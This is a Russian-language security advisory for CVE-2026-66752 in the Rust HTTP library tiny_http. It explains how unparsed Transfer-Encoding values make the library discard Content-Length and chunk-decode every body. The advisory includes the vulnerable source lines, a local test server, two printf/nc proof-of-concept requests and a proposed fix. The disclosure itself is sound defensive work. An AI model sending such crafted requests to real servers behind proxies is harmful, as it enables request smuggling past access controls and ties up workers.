
Уведомление о безопасности: контрабанда HTTP-запросов через неразобранные значения Transfer-Encoding (tiny_http)
Назначенный CVE ID: CVE-2026-66752
tiny_http проверяет только наличие заголовка Transfer-Encoding. Он никогда не смотрит на значение. Любое значение, включая кодировки, не являющиеся chunked, и списки кодировок, последний элемент которых не chunked, приводит к тому, что тело декодируется как chunked, а Content-Length при этом отбрасывается.
Фронтенд, который корректно разбирает трансферное кодирование, будет определять границы такого запроса иначе, чем tiny_http. Два участника с двумя разными вариантами фрейминга в одном соединении — необходимое условие для контрабанды запросов. Отправка тела не в chunked-формате с не-chunked кодировкой также заставляет tiny_http завершить чтение тела с ошибкой и вообще не отправлять ответ.
URL репозитория:
| Затронуто | все выпущенные версии вплоть до 0.12.0 включительно (2022-10-06), текущий релиз |
| Проверено | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Исправлено в | на момент написания исправленной версии нет |
CWE-444 (Несогласованная интерпретация HTTP-запросов).
CVSS 4.0 базовый балл 6.3 (средний)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N
Удалённый неаутентифицированный клиент, отправляющий «сырой» HTTP. Никаких учётных данных или взаимодействия с пользователем не требуется.
Для смарглинга требуется, чтобы tiny_http находился за фронтендом или CDN, который передаёт Transfer-Encoding и Content-Length и корректно применяет раздел 6.1 RFC 9112, то есть считает список кодировок, последний элемент которого не chunked, не-chunked и переходит к Content-Length. Тогда этот фронтенд и tiny_http расходятся во мнении о том, где заканчивается тело.
Случай с неотвеченным запросом не требует ничего, кроме возможности подключиться.
tiny_http-0.12.0/src/request.rs, строки 143–153. Заголовок находится и клонируется, но значение всегда проверяется только на наличие:
143 // finding the transfer-encoding header
144 let transfer_encoding = headers
145 .iter()
146 .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147 .map(|h| h.value.clone());
148
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
tiny_http-0.12.0/src/request.rs, строки 218–221, затем безусловно применяет chunked-декодер:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
transfer_encoding — это Option<AsciiString>, содержащий исходное значение, и его содержимое никогда не проверяется. Раздел 6.1 RFC 9112 требует, чтобы последней кодировкой запроса была chunked, и требует от сервера отклонять сообщение в противном случае; раздел 6.3 требует отклонять запрос, содержащий одновременно Transfer-Encoding и Content-Length.
Шаг 1. Запустите сервер, который выводит заголовки фрейминга и прочитанное тело.
use std::io::Read;
use tiny_http::{Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8005").unwrap();
for mut request in server.incoming_requests() {
let te = request.headers().iter()
.find(|h| h.field.equiv("Transfer-Encoding"))
.map(|h| h.value.as_str().to_string());
let cl = request.headers().iter()
.find(|h| h.field.equiv("Content-Length"))
.map(|h| h.value.as_str().to_string());
let mut body = Vec::new();
let r = request.as_reader().read_to_end(&mut body);
println!("TE={:?} CL={:?} read={:?} body={:?}",
te, cl, r, String::from_utf8_lossy(&body));
let _ = request.respond(Response::from_string("ok"));
}
}
Шаг 2. Отправьте запрос с Transfer-Encoding: identity, соответствующим Content-Length и обычным телом. Любой фронтенд определил бы границы этого тела как пять байт hello.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005
Результат. tiny_http декодировал как chunked тело, которое не является chunked, отбросил его и не отправил ответ. Клиент ждёт до собственного таймаута, а соединение израсходовано.
TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""
Шаг 3. Отправьте список кодировок, последний элемент которого не chunked.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005
Результат. tiny_http принимает его и декодирует как chunked, хотя раздел 6.1 RFC 9112 требует отклонения:
TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"
Для сравнения, только Content-Length и корректный Transfer-Encoding: chunked работают правильно и дают body="hello".
Когда tiny_http находится за фронтендом, который корректно разбирает трансферные кодировки, два компонента расходятся в том, где заканчивается тело запроса. Атакующий выбирает байты по обе стороны от этого расхождения, что является стандартной схемой для проведения смарглинга запроса в обход маршрутизации и контроля доступа фронтенда.
Независимо от любого фронтенда, шаги 2 и 3 демонстрируют тривиально некорректный запрос, который занимает воркер и вообще не получает ответа, поэтому клиент не может понять, что запрос был отклонён.
Разбирайте Transfer-Encoding как список, разделённый запятыми, каковым он и является, в src/request.rs около строки 144:
Требуйте, чтобы последней кодировкой была chunked для запроса с телом, и отклоняйте любую другую кодировку с кодом 400 вместо chunked-декодирования. Отклоняйте запрос, содержащий одновременно Transfer-Encoding и Content-Length, как это требует раздел 6.3 RFC 9112 для сервера, не являющегося прокси, вместо того чтобы молча игнорировать Content-Length в строке 150.
Когда чтение тела завершается ошибкой, отправляйте 400 вместо того, чтобы бросать запрос без ответа.